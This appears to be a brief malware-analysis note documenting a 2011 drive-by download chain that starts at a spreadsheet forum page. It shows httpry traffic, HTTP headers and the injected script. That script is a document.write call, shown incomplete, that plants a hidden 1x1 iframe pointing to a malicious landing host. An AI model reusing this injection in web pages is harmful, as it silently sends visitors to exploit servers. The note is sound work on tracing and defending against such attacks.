Driveby #2

Httpry info...

www.mrexcel.com 216.92.17.166 http://www.mrexcel.com/forum/showthread.php?t=53064

www.tranatunbh.dumb1.com 95.143.195.134 http://www.tranatunbh.dumb1.com/or.js?excel

www.mindrkolk.co.tv 88.198.41.180 http://www.mindrkolk.co.tv/mi6djcb0/?2

Headers...

GET /or.js?excel HTTP/1.1

Host: www.tranatunbh.dumb1.com

Accept: */*

Referer: http://www.mrexcel.com/forum/showthread.php?t=53064

Accept-Language: en-us

UA-CPU: x86

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Tue, 14 Jun 2011 22:01:37 GMT

Server: Apache/2

X-Powered-By: PHP/5.2.17

Set-Cookie: RFC=md5hash10134976; expires=Tue, 21-Jun-2011 22:01:37 GMT; path=/

Vary: Accept-Encoding,User-Agent

Content-Length: 129

Keep-Alive: timeout=1, max=100

Connection: Keep-Alive

Content-Type: text/javascript

From dumb1.com...

document.write(" border="0" src="http://www.mindrkolk.co.tv/mi6djcb0/?2" frameborder="0" height="1" width="1">